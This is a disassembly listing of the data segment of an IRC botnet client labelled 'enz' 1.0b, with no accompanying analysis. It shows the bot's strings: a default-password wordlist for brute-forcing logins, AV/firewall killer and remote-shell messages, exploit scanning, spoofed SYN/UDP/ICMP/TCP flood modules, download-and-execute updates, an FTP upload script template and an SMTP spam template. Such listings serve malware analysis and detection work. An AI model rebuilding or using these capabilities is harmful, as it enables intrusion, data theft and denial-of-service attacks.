					; seg001:0042AC7Co
aGuest_0	db 'guest',0            ; DATA XREF: seg001:0042A4DCo
		align 4
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: seg001:0042A4D8o
		align 10h
aTeacher	db 'teacher',0          ; DATA XREF: seg001:0042A4D4o
					; seg001:0042BC10o
aStudent	db 'student',0          ; DATA XREF: seg001:0042A4D0o
					; seg001:0042BB58o
aOwner		db 'owner',0            ; DATA XREF: seg001:0042A4CCo
		align 4
aComputer	db 'computer',0         ; DATA XREF: seg001:0042A4C8o
					; seg001:0042A5F4o
		align 4
aRoot		db 'root',0             ; DATA XREF: seg001:0042A4C4o
					; seg001:0042A52Co ...
		align 4
aStaff		db 'staff',0            ; DATA XREF: seg001:0042A4C0o
		align 4
aAdmin		db 'admin',0            ; DATA XREF: seg001:0042A4BCo
		align 4
aAdmins		db 'admins',0           ; DATA XREF: seg001:0042A4B8o
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: seg001:0042A4B4o
aAdministrater	db 'administrater',0    ; DATA XREF: seg001:0042A4B0o
		align 10h
aAdministrateur	db 'administrateur',0   ; DATA XREF: seg001:0042A4ACo
		align 10h
aAdministrador	db 'administrador',0    ; DATA XREF: seg001:0042A4A8o
		align 10h
aAdministrato_0	db 'administrator',0    ; DATA XREF: seg001:0042A4A4o
					; seg001:0042A518o ...
		align 10h
aMirc1_6_99	db 'mirc 1.6.99',0      ; DATA XREF: seg001:off_42A3F4o
a@room		db '*@room',0           ; DATA XREF: seg001:off_42A3F0o
		align 4
a_e_1_0bSecur_2	db '.e.(1.0b) ( secure.m.d.l ) .»».  Failed to start registry thread,'
					; DATA XREF: sub_40C2D0+4DDo
		db ' error: <%d>.',0
		align 4
a_e_1_0bSecur_1	db '.e.(1.0b) ( secure.m.d.l ) .»».  Registry monitor active.',0
					; DATA XREF: sub_40C2D0+48Ao
		align 10h
a_e_1_0bSecur_0	db '.e.(1.0b) ( secure.m.d.l ) .»».  Failed to start secure thread, e'
					; DATA XREF: sub_40C2D0+46Ao
		db 'rror: <%d>.',0
		align 10h
a_e_1_0bSecure_	db '.e.(1.0b) ( secure.m.d.l ) .»».  System secure monitor active.',0
					; DATA XREF: sub_40C2D0+41Do
		align 10h
a_e_1_0bProce_0	db '.e.(1.0b) ( process.m.d.l ) .»».  Failed to start AV/FW killer th'
					; DATA XREF: sub_40C2D0+3FDo
		db 'read, error: <%d>.',0
a_e_1_0bProcess	db '.e.(1.0b) ( process.m.d.l ) .»».  AV/FW Killer active.',0
					; DATA XREF: sub_40C2D0+3ACo
		align 4
a_e_1_0bEnz_m_d	db '.e.(1.0b) ( enz.m.d.l ) .»».  Bot started.',0
					; DATA XREF: sub_40C2D0+371o
		align 4
aSDS		db '%s %d "%s"',0       ; DATA XREF: sub_40C2D0+29Co
		align 4
aSS_1		db '%s\%s',0            ; DATA XREF: sub_40C2D0+196o
		align 4
a_e_1_0bEnz_m_0	db '.e.(1.0b) ( enz.m.d.l ) .»».  Connected to %s.',0
					; DATA XREF: sub_40C929+F2o
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_40CA91+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_40CA91+35o
		align 4
aModeSS		db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40CC09+5716o
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40CC09+5701o
		align 4
a_e_1_0bEnz__42	db '.e.(1.0b) ( enz.m.d.l ) .»».  User: %s logged in.',0
					; DATA XREF: sub_40CC09+56F4o
		align 4
a_e_1_0bEnz__41	db '.e.(1.0b) ( enz.m.d.l ) .»».  Password accepted.',0
					; DATA XREF: sub_40CC09+56D7o
		align 4
a_e_1_0bEnz__40	db '.e.(1.0b) ( enz.m.d.l ) .»».  *Failed host auth by: (%s!%s).',0
					; DATA XREF: sub_40CC09+5679o
		align 4
a_e_1_0bEnz__39	db '.e.(1.0b) ( enz.m.d.l ) .»».  *Failed pass auth by: (%s!%s).',0
					; DATA XREF: sub_40CC09+5609o
		align 4
aNoticeSYouVeBe	db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0
					; DATA XREF: sub_40CC09+55FAo
					; sub_40CC09+566Ao
		align 10h
aNoticeSNiceTry	db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_40CC09+55E6o
					; sub_40CC09+5656o
		align 4
asc_4316C8:				; DATA XREF: sub_40CC09+55B6o
		unicode	0, <~>,0
a_e_1_0bEnz__38	db '.e.(1.0b) ( enz.m.d.l ) .»».  Random nick change: %s',0
					; DATA XREF: sub_40CC09+5565o
		align 4
a_e_1_0bEnz__37	db '.e.(1.0b) ( enz.m.d.l ) .»».  Invalid login slot number: %d.',0
					; DATA XREF: sub_40CC09+54ABo
		align 4
a_e_1_0bEnz__36	db '.e.(1.0b) ( enz.m.d.l ) .»».  No user logged in at slot: %d.',0
					; DATA XREF: sub_40CC09+54A3o
		align 4
a_e_1_0bSocks_0	db '.e.(1.0b) ( socks.m.d.l ) .»».  Failed to start server thread, er'
					; DATA XREF: sub_40CC09+544Eo
		db 'ror: <%d>.',0
a_e_1_0bSocks_m	db '.e.(1.0b) ( socks.m.d.l ) .»».  Server started on: %s:%d.',0
					; DATA XREF: sub_40CC09+53DFo
		align 4
a_p_ro_c___	db '.p.ro.c...',0       ; DATA XREF: sub_40CC09+532Co
		align 4
aProcessList	db 'Process list',0     ; DATA XREF: sub_40CC09+5327o
		align 4
a_e_1_0bEnz__35	db '.e.(1.0b) ( enz.m.d.l ) .»».  Reconnecting.',0
					; DATA XREF: sub_40CC09+52F4o
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40CC09:loc_411EF0o
		align 4
a_e_1_0bEnz__34	db '.e.(1.0b) ( enz.m.d.l ) .»».  Disconnecting.',0
					; DATA XREF: sub_40CC09+52D2o
		align 4
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40CC09:loc_411ECEo
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40CC09+529Do
		align 10h
a_e_1_0bEnz__33	db '.e.(1.0b) ( enz.m.d.l ) .»».  Status: Ready. Bot Uptime: %s.',0
					; DATA XREF: sub_40CC09+5251o
		align 10h
a_e_1_0bEnz__32	db '.e.(1.0b) ( enz.m.d.l ) .»».  Bot ID: %s.',0
					; DATA XREF: sub_40CC09+5213o
		align 4
a_e_1_0bThrea_4	db '.e.(1.0b) ( threads.m.d.l ) .»».  Failed to start list thread, er'
					; DATA XREF: sub_40CC09+51E8o
		db 'ror: <%d>.',0
a_e_1_0bThrea_3	db '.e.(1.0b) ( threads.m.d.l ) .»».  List threads.',0
					; DATA XREF: sub_40CC09+517Do
off_4319A8	dd offset byte_627573	; DATA XREF: sub_40CC09+5157o
a_e_1_0bEnz__31	db '.e.(1.0b) ( enz.m.d.l ) .»».  Alias list.',0
					; DATA XREF: sub_40CC09+5108o
		align 4
a_e_1_0bLog_m_0	db '.e.(1.0b) ( log.m.d.l ) .»».  Failed to start listing thread, err'
					; DATA XREF: sub_40CC09+50EDo
		db 'or: <%d>.',0
		align 4
a_e_1_0bLog_m_d	db '.e.(1.0b) ( log.m.d.l ) .»».  Listing log.',0
					; DATA XREF: sub_40CC09+5060o
		align 10h
a_e_1_0bEnz__30	db '.e.(1.0b) ( enz.m.d.l ) .»».  Network Info.',0
					; DATA XREF: sub_40CC09+4FDFo
a_e_1_0bEnz__29	db '.e.(1.0b) ( enz.m.d.l ) .»».  System Info.',0
					; DATA XREF: sub_40CC09+4FB0o
		align 4
a_e_1_0bEnz__28	db '.e.(1.0b) ( enz.m.d.l ) .»».  Removing Bot.',0
					; DATA XREF: sub_40CC09+4F5Bo
a_e_1_0bProce_7	db '.e.(1.0b) ( process.m.d.l ) .»».  Failed to start listing thread,'
					; DATA XREF: sub_40CC09+4F2Do
		db ' error: <%d>.',0
		align 4
a_e_1_0bProce_6	db '.e.(1.0b) ( process.m.d.l ) .»».  Proccess list.',0
					; DATA XREF: sub_40CC09+4EC2o
		align 4
aFull		db 'full',0             ; DATA XREF: sub_40CC09+4EA2o
		align 10h
a_e_1_0bProce_5	db '.e.(1.0b) ( process.m.d.l ) .»».  Already running.',0
					; DATA XREF: sub_40CC09+4E4Bo
		align 4
a_e_1_0bEnz__27	db '.e.(1.0b) ( enz.m.d.l ) .»».  Uptime: %s.',0
					; DATA XREF: sub_40CC09+4DFDo
		align 10h
a_e_1_0bCmd_m_3	db '.e.(1.0b) ( cmd.m.d.l ) .»».  Remote shell ready.',0
					; DATA XREF: sub_40CC09:loc_411944o
		align 4
a_e_1_0bCmd_m_2	db '.e.(1.0b) ( cmd.m.d.l ) .»».  Couldn',27h,'t open remote shell.',0
					; DATA XREF: sub_40CC09+4D34o
		align 10h
a_e_1_0bCmd_m_1	db '.e.(1.0b) ( cmd.m.d.l ) .»».  Remote shell already running.',0
					; DATA XREF: sub_40CC09+4D18o
a_e_1_0bEnz__26	db '.e.(1.0b) ( enz.m.d.l ) .»».  Get Clipboard.',0
					; DATA XREF: sub_40CC09+4D02o
		align 4
aClipboardData	db '-[Clipboard Data]-',0 ; DATA XREF: sub_40CC09+4CD4o
		align 10h
a_e_1_0bFlush_3	db '.e.(1.0b) ( flushdns.m.d.l ) .»».  Failed to flush ARP cache.',0
					; DATA XREF: sub_40CC09:loc_4118B9o
		align 10h
a_e_1_0bFlush_2	db '.e.(1.0b) ( flushdns.m.d.l ) .»».  ARP cache flushed.',0
					; DATA XREF: sub_40CC09+4CA9o
		align 4
a_e_1_0bFlush_1	db '.e.(1.0b) ( flushdns.m.d.l ) .»».  Failed to load dnsapi.dll.',0
					; DATA XREF: sub_40CC09:loc_4118A2o
		align 4
a_e_1_0bFlush_0	db '.e.(1.0b) ( flushdns.m.d.l ) .»».  Failed to flush DNS cache.',0
					; DATA XREF: sub_40CC09:loc_41189Bo
		align 4
a_e_1_0bFlushdn	db '.e.(1.0b) ( flushdns.m.d.l ) .»».  DNS cache flushed.',0
					; DATA XREF: sub_40CC09+4C8Bo
		align 10h
a_e_1_0bHttpd_0	db '.e.(1.0b) ( httpd.m.d.l ) .»».  Failed to start server thread, er'
					; DATA XREF: sub_40CC09+4C1Bo
		db 'ror: <%d>.',0
a_e_1_0bHttpd_m	db '.e.(1.0b) ( httpd.m.d.l ) .»».  Server listening on IP: %s:%d, Di'
					; DATA XREF: sub_40CC09+4BB0o
		db 'rectory: %s\.',0
		align 4
a_e_1_0bTftpd_1	db '.e.(1.0b) ( tftpd.m.d.l ) .»».  Failed to start server thread, er'
					; DATA XREF: sub_40CC09+4AA9o
		db 'ror: <%d>.',0
a_e_1_0bTftpd_0	db '.e.(1.0b) ( tftpd.m.d.l ) .»».  Server started on Port: %d, File:'
					; DATA XREF: sub_40CC09+4A3Ao
		db ' %s, Request: %s.',0
		align 4
a_e_1_0bTftpd_m	db '.e.(1.0b) ( tftpd.m.d.l ) .»».  Already running.',0
					; DATA XREF: sub_40CC09+4973o
		align 10h
a_e_1_0bExplo_4	db '.e.(1.0b) ( exploit.m.d.l ) .»».  Failed to start scan, port is i'
					; DATA XREF: sub_40CC09:loc_411566o
		db 'nvalid.',0
		align 4
a_e_1_0bExplo_3	db '.e.(1.0b) ( exploit.m.d.l ) .»».  %s Port Scan started on %s:%d w'
					; DATA XREF: sub_40CC09+489Eo
		db 'ith a delay of %d seconds for %d minutes using %d threads.',0
a_e_1_0bEnz__25	db '.e.(1.0b) ( enz.m.d.l ) .»».  Nick changed to: ',27h,'%s',27h,'.',0
					; DATA XREF: sub_40CC09+465Eo
		align 10h
a_e_1_0bEnz__24	db '.e.(1.0b) ( enz.m.d.l ) .»».  Joined channel: ',27h,'%s',27h,'.',0
					; DATA XREF: sub_40CC09+4645o
a_e_1_0bEnz__23	db '.e.(1.0b) ( enz.m.d.l ) .»».  Parted channel: ',27h,'%s',27h,'.',0
					; DATA XREF: sub_40CC09+4625o
a_e_1_0bEnz__22	db '.e.(1.0b) ( enz.m.d.l ) .»».  IRC Raw: %s.',0
					; DATA XREF: sub_40CC09+460Co
		align 4
a_e_1_0bThrea_2	db '.e.(1.0b) ( threads.m.d.l ) .»».  Failed to kill thread: %s.',0
					; DATA XREF: sub_40CC09:loc_411197o
		align 4
a_e_1_0bThrea_1	db '.e.(1.0b) ( threads.m.d.l ) .»».  Killed thread: %s.',0
					; DATA XREF: sub_40CC09+4587o
		align 4
a_e_1_0bThrea_0	db '.e.(1.0b) ( threads.m.d.l ) .»».  No active threads found.',0
					; DATA XREF: sub_40CC09:loc_41114Ao
		align 4
a_e_1_0bThreads	db '.e.(1.0b) ( threads.m.d.l ) .»».  Stopped: %d thread(s).',0
					; DATA XREF: sub_40CC09+4528o
		align 4
off_4321D4	dd offset byte_6C6C61	; DATA XREF: sub_40CC09+450Eo
dword_4321D8	dd 54495551h, 616C3A20h, 0D726574h, 0Ah					; sub_40CC09:loc_411EB8o
a_e_1_0bEnz__21	db '.e.(1.0b) ( enz.m.d.l ) .»».  Prefix changed to: ',27h,'%c',27h,'.',0
					; DATA XREF: sub_40CC09+440Do
		align 10h
a_e_1_0bShell_0	db '.e.(1.0b) ( shell.m.d.l ) .»».  Couldn',27h,'t open file: %s',0
					; DATA XREF: sub_40CC09:loc_411001o
		align 4
a_e_1_0bShell_m	db '.e.(1.0b) ( shell.m.d.l ) .»».  File opened: %s',0
					; DATA XREF: sub_40CC09+43EEo
a_e_1_0bEnz__20	db '.e.(1.0b) ( enz.m.d.l ) .»».  Server changed to: ',27h,'%s',27h,'.',0
					; DATA XREF: sub_40CC09+43C5o
		align 10h
a_e_1_0bDns_m_0	db '.e.(1.0b) ( dns.m.d.l ) .»».  Couldn',27h,'t resolve hostname.',0
					; DATA XREF: sub_40CC09:loc_410FA4o
		align 4
a_e_1_0bDns_m_d	db '.e.(1.0b) ( dns.m.d.l ) .»».  Lookup: %s -> %s.',0
					; DATA XREF: sub_40CC09+436Do
a_e_1_0bProce_4	db '.e.(1.0b) ( process.m.d.l ) .»».  Failed to terminate process: %s'
					; DATA XREF: sub_40CC09:loc_410F42o
		db 0
		align 10h
a_e_1_0bProce_3	db '.e.(1.0b) ( process.m.d.l ) .»».  Process killed: %s',0
					; DATA XREF: sub_40CC09+432Fo
		align 4
a_e_1_0bProce_2	db '.e.(1.0b) ( process.m.d.l ) .»».  Failed to terminate process ID:'
					; DATA XREF: sub_40CC09:loc_410EE2o
		db ' %s',0
		align 10h
a_e_1_0bProce_1	db '.e.(1.0b) ( process.m.d.l ) .»».  Process killed ID: %s',0
					; DATA XREF: sub_40CC09+42D2o
a_e_1_0bFile__2	db '.e.(1.0b) ( file.m.d.l ) .»».  Deleted ',27h,'%s',27h,'.',0
					; DATA XREF: sub_40CC09+4291o
		align 4
a_e_1_0bDcc_m_6	db '.e.(1.0b) ( dcc.m.d.l ) .»».  Send File: %s, User: %s.',0
					; DATA XREF: sub_40CC09+420Co
		align 10h
a_e_1_0bFile__1	db '.e.(1.0b) ( file.m.d.l ) .»».  List: %s',0 ; DATA XREF: sub_40CC09+419Ao
a_e_1_0bMirc__0	db '.e.(1.0b) ( mirc.m.d.l ) .»».  Command sent.',0
					; DATA XREF: sub_40CC09:loc_410D88o
		align 4
a_e_1_0bMirc_m_	db '.e.(1.0b) ( mirc.m.d.l ) .»».  Client not open.',0
					; DATA XREF: sub_40CC09+4175o
a_e_1_0bCmd_m_0	db '.e.(1.0b) ( cmd.m.d.l ) .»».  Commands: %s',0
					; DATA XREF: sub_40CC09+4144o
		align 4
a_e_1_0bCmd_m_d	db '.e.(1.0b) ( cmd.m.d.l ) .»».  Error sending to remote shell.',0
					; DATA XREF: sub_40CC09+4139o
		align 4
a_e_1_0bEnz__19	db '.e.(1.0b) ( enz.m.d.l ) .»».  Read file failed: %s',0
					; DATA XREF: sub_40CC09+40F9o
		align 4
a_e_1_0bEnz__18	db '.e.(1.0b) ( enz.m.d.l ) .»».  Read file complete: %s',0
					; DATA XREF: sub_40CC09+40E5o
		align 10h
aR:					; DATA XREF: sub_40CC09:loc_410C87o
		unicode	0, <r>,0
a_e_1_0bEnz__17	db '.e.(1.0b) ( enz.m.d.l ) .»».  Gethost: %s.',0
					; DATA XREF: sub_40CC09+4060o
		align 10h
a_e_1_0bEnz__16	db '.e.(1.0b) ( enz.m.d.l ) .»».  Unable to extract Gethost command.',0
					; DATA XREF: sub_40CC09+4025o
		align 4
a_e_1_0bEnz__15	db '.e.(1.0b) ( enz.m.d.l ) .»».  Gethost: %s, Command: %s',0
					; DATA XREF: sub_40CC09+4009o
		align 4
a_e_1_0bEnz__14	db '.e.(1.0b) ( enz.m.d.l ) .»».  Alias added: %s.',0
					; DATA XREF: sub_40CC09+3F87o
		align 4
a_e_1_0bEnz__13	db '.e.(1.0b) ( enz.m.d.l ) .»».  Privmsg: %s: %s.',0
					; DATA XREF: sub_40CC09+3F4Co
		align 4
a_e_1_0bEnz__12	db '.e.(1.0b) ( enz.m.d.l ) .»».  Action: %s: %s.',0
					; DATA XREF: sub_40CC09+3EF6o
		align 4
a_e_1_0bEnz__11	db '.e.(1.0b) ( enz.m.d.l ) .»».  Cycle.',0 ; DATA XREF: sub_40CC09+3E8Eo
		align 4
aPartS		db 'PART %s',0Dh,0Ah,0  ; DATA XREF: sub_40CC09+3E54o
					; sub_40CC09+4617o
		align 10h
a_e_1_0bEnz__10	db '.e.(1.0b) ( enz.m.d.l ) .»».  Mode change: %s',0
					; DATA XREF: sub_40CC09+3E25o
		align 10h
aModeS_0	db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_40CC09+3E17o
		align 4
a_e_1_0bClone_2	db '.e.(1.0b) ( clone.m.d.l ) .»».  Raw (%s): %s',0
					; DATA XREF: sub_40CC09+3DEEo
		align 4
a_e_1_0bClone_1	db '.e.(1.0b) ( clone.m.d.l ) .»».  Mode (%s): %s',0
					; DATA XREF: sub_40CC09+3D83o
		align 4
aModeS		db 'MODE %s',0          ; DATA XREF: sub_40CC09+3D2Eo
a_e_1_0bClone_m	db '.e.(1.0b) ( clone.m.d.l ) .»».  Nick (%s): %s',0
					; DATA XREF: sub_40CC09+3CF9o
		align 4
aNickS		db 'NICK %s',0          ; DATA XREF: sub_40CC09+3CA3o
					; sub_40CC09+444Fo
aJoinSS_0	db 'JOIN %s %s',0       ; DATA XREF: sub_40CC09+3C84o
		align 4
aS_1		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_40CC09+3C4Fo
					; sub_40CC09+3CD8o ...
		align 10h
aPartS_0	db 'PART %s',0          ; DATA XREF: sub_40CC09+3C1Ao
a_e_1_0bEnz_m_9	db '.e.(1.0b) ( enz.m.d.l ) .»».  Repeat not allowed in command line:'
					; DATA XREF: sub_40CC09:loc_410810o
		db ' %s',0
		align 10h
a_e_1_0bEnz_m_8	db '.e.(1.0b) ( enz.m.d.l ) .»».  Repeat: %s',0
					; DATA XREF: sub_40CC09+3BD0o
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_40CC09+3B7Fo
		align 4
a_e_1_0bEnz_m_7	db '.e.(1.0b) ( enz.m.d.l ) .»».  Delay.',0
					; DATA XREF: sub_40CC09:loc_410740o
		align 4
aSSSS		db '%s %s %s :%s',0     ; DATA XREF: sub_40CC09+3AF7o
					; sub_40CC09+3BAAo ...
		align 4
a_e_1_0bUpdat_1	db '.e.(1.0b) ( update.m.d.l ) .»».  Bot ID must be different than cu'
					; DATA XREF: sub_40CC09:loc_41067Do
		db 'rrent running process.',0
a_e_1_0bUpdat_0	db '.e.(1.0b) ( update.m.d.l ) .»».  Failed to start download thread,'
					; DATA XREF: sub_40CC09+3A5Eo
		db ' error: <%d>.',0
		align 4
a_e_1_0bUpdate_	db '.e.(1.0b) ( update.m.d.l ) .»».  Downloading update from: %s.',0
					; DATA XREF: sub_40CC09+39F3o
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_40CC09+394Do
		align 10h
a_e_1_0bExec__0	db '.e.(1.0b) ( exec.m.d.l ) .»».  Commands: %s',0
					; DATA XREF: sub_40CC09+38EEo
a_e_1_0bExec_m_	db '.e.(1.0b) ( exec.m.d.l ) .»».  Couldn',27h,'t execute file.',0
					; DATA XREF: sub_40CC09+38E3o
		align 4
a_e_1_0bFile__0	db '.e.(1.0b) ( file.m.d.l ) .»». ',0 ; DATA XREF: sub_40CC09:loc_410417o
					; sub_40CC09:loc_410EA1o
		align 4
a_e_1_0bFile_m_	db '.e.(1.0b) ( file.m.d.l ) .»».  Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.'
					; DATA XREF: sub_40CC09+37F9o
		db 0
		align 4
a_e_1_0bIcmp__1	db '.e.(1.0b) ( icmp.m.d.l ) .»».  Invalid flood time must be greater'
					; DATA XREF: sub_40CC09:loc_4103E0o
		db ' than 0.',0
		align 4
a_e_1_0bIcmp__0	db '.e.(1.0b) ( icmp.m.d.l ) .»».  Failed to start flood thread, erro'
					; DATA XREF: sub_40CC09+37CDo
		db 'r: <%d>.',0
		align 4
a_e_1_0bIcmp_m_	db '.e.(1.0b) ( icmp.m.d.l ) .»».  Flooding: (%s) for %s seconds.',0
					; DATA XREF: sub_40CC09+3753o
		align 4
a_e_1_0bClone_0	db '.e.(1.0b) ( clones.m.d.l ) .»».  Failed to start clone thread, er'
					; DATA XREF: sub_40CC09+36DCo
		db 'ror: <%d>.',0
a_e_1_0bClones_	db '.e.(1.0b) ( clones.m.d.l ) .»».  Created on %s:%d, in channel %s.'
					; DATA XREF: sub_40CC09+366Do
		db 0
		align 4
a_e_1_0bDdos__0	db '.e.(1.0b) ( ddos.m.d.l ) .»».  Failed to start flood thread, erro'
					; DATA XREF: sub_40CC09+35E5o
		db 'r: <%d>.',0
		align 10h
a_e_1_0bDdos_m_	db '.e.(1.0b) ( ddos.m.d.l ) .»».  Flooding: (%s:%s) for %s seconds.',0
					; DATA XREF: sub_40CC09+356Do
		align 4
a_e_1_0bSyn_m_0	db '.e.(1.0b) ( syn.m.d.l ) .»».  Failed to start flood thread, error'
					; DATA XREF: sub_40CC09+34D8o
		db ': <%d>.',0
		align 10h
a_e_1_0bSyn_m_d	db '.e.(1.0b) ( syn.m.d.l ) .»».  Flooding: (%s:%s) for %s seconds.',0
					; DATA XREF: sub_40CC09+345Eo
a_e_1_0bDownl_0	db '.e.(1.0b) ( download.m.d.l ) .»».  Failed to start transfer threa'
					; DATA XREF: sub_40CC09+33EEo
		db 'd, error: <%d>.',0
		align 4
a_e_1_0bDownloa	db '.e.(1.0b) ( download.m.d.l ) .»».  Downloading URL: %s to: %s.',0
					; DATA XREF: sub_40CC09+337Fo
		align 4
a_e_1_0bRedir_0	db '.e.(1.0b) ( redirect.m.d.l ) .»».  Failed to start redirection th'
					; DATA XREF: sub_40CC09+32B0o
		db 'read, error: <%d>.',0
a_e_1_0bRedirec	db '.e.(1.0b) ( redirect.m.d.l ) .»».  TCP redirect created from: %s:'
					; DATA XREF: sub_40CC09+3241o
		db '%d to: %s:%d.',0
		align 4
a_e_1_0bPorts_0	db '.e.(1.0b) ( portscan.m.d.l ) .»».  Failed to start scan thread, e'
					; DATA XREF: sub_40CC09+31B6o
		db 'rror: <%d>.',0
		align 4
a_e_1_0bPortsca	db '.e.(1.0b) ( portscan.m.d.l ) .»».  Port scan started: %s:%d with '
					; DATA XREF: sub_40CC09+3147o
		db 'delay: %d(ms).',0
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_40CC09+30C3o
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_40CC09+2FC6o
		align 4
dword_432F38	dd 54434101h, 204E4F49h, 17325h					; sub_40CC09+3ED7o
a_e_1_0bExplo_2	db '.e.(1.0b) ( exploit.m.d.l ) .»».  Failed to start scan thread, er'
					; DATA XREF: sub_40CC09+2ED9o
					; sub_40CC09+490Fo
		db 'ror: <%d>.',0
a_e_1_0bExplo_1	db '.e.(1.0b) ( exploit.m.d.l ) .»».  %s Exploitation started on %s:%'
					; DATA XREF: sub_40CC09+2E6Ao
		db 'd waiting %d seconds for %d minutes using %d threads.',0
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: sub_40CC09+2E3Fo
					; sub_40CC09+4873o
		align 4
aRandom_0	db 'Random',0           ; DATA XREF: sub_40CC09+2E38o
					; sub_40CC09+486Co
		align 4
a_e_1_0bExplo_0	db '.e.(1.0b) ( exploit.m.d.l ) .»».  Failed to start scan, no IP spe'
					; DATA XREF: sub_40CC09+2CFAo
		db 'cified.',0
		align 4
a_e_1_0bExploit	db '.e.(1.0b) ( exploit.m.d.l ) .»».  Already %d scanning threads. To'
					; DATA XREF: sub_40CC09+2BB1o
					; sub_40CC09+46B7o
		db 'o many specified.',0
		align 4
a_e_1_0bUdp_m_0	db '.e.(1.0b) ( udp.m.d.l ) .»».  Failed to start flood thread, error'
					; DATA XREF: sub_40CC09+2B80o
		db ': <%d>.',0
		align 4
a_e_1_0bUdp_m_d	db '.e.(1.0b) ( udp.m.d.l ) .»».  Sending %d packets to: %s. Packet s'
					; DATA XREF: sub_40CC09+2B11o
		db 'ize: %d, Delay: %d(ms).',0
		align 4
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_40CC09+2A3Co
		align 4
a_e_1_0bPing__0	db '.e.(1.0b) ( ping.m.d.l ) .»».  Failed to start flood thread, erro'
					; DATA XREF: sub_40CC09+2A27o
		db 'r: <%d>.',0
		align 4
a_e_1_0bPing_m_	db '.e.(1.0b) ( ping.m.d.l ) .»».  Sending %d pings to %s. packet siz'
					; DATA XREF: sub_40CC09+29BCo
		db 'e: %d, timeout: %d(ms).',0
		align 4
a_e_1_0bTcp_m_2	db '.e.(1.0b) ( tcp.m.d.l ) .»».  Invalid flood time must be greater '
					; DATA XREF: sub_40CC09:loc_40F528o
		db 'than 0.',0
		align 10h
a_e_1_0bTcp_m_1	db '.e.(1.0b) ( tcp.m.d.l ) .»».  Failed to start flood thread, error'
					; DATA XREF: sub_40CC09+2915o
		db ': <%d>.',0
		align 4
a_e_1_0bTcp_m_0	db '.e.(1.0b) ( tcp.m.d.l ) .»».  %s %s flooding: (%s:%s) for %s seco'
					; DATA XREF: sub_40CC09+289Bo
		db 'nds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_40CC09+288Bo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_40CC09+2884o
a_e_1_0bTcp_m_d	db '.e.(1.0b) ( tcp.m.d.l ) .»».  Invalid flood type specified.',0
					; DATA XREF: sub_40CC09+27EFo
a_e_1_0bFtp_m_1	db '.e.(1.0b) ( ftp.m.d.l ) .»».  Uploading file: %s to: %s failed.',0
					; DATA XREF: sub_40CC09:loc_40F310o
a_e_1_0bFtp_m_0	db '.e.(1.0b) ( ftp.m.d.l ) .»».  Uploading file: %s to: %s',0
					; DATA XREF: sub_40CC09+2700o
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_40CC09+26E9o
aSS_3		db '-s:%s',0            ; DATA XREF: sub_40CC09+26D2o
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_40CC09+26B2o
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_40CC09+268Eo
		align 10h
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_40CC09+267Do
		align 10h
a_e_1_0bFtp_m_d	db '.e.(1.0b) ( ftp.m.d.l ) .»».  File not found: %s.',0
					; DATA XREF: sub_40CC09+2633o
		align 4
aFtp_upload	db 'ftp.upload',0       ; DATA XREF: sub_40CC09+2610o
		align 10h
aUtil_hcon	db 'util.hcon',0        ; DATA XREF: sub_40CC09+25EDo
		align 4
aUtil_httpcon	db 'util.httpcon',0     ; DATA XREF: sub_40CC09+25D6o
		align 4
a_1514enz10b_2_	db '.15,14enz10b .2.. .15(email.2..15mod) .2».15  Message sent to %s.'
					; DATA XREF: sub_40CC09+2595o
		db 0
		align 10h
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_40CC09+2521o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
a__0:					; DATA XREF: sub_40CC09+2485o
		unicode	0, <_>,0
aUtil_email	db 'util.email',0       ; DATA XREF: sub_40CC09+2436o
		align 4
off_43350C	dd offset byte_617375	; DATA XREF: sub_40CC09+241Fo
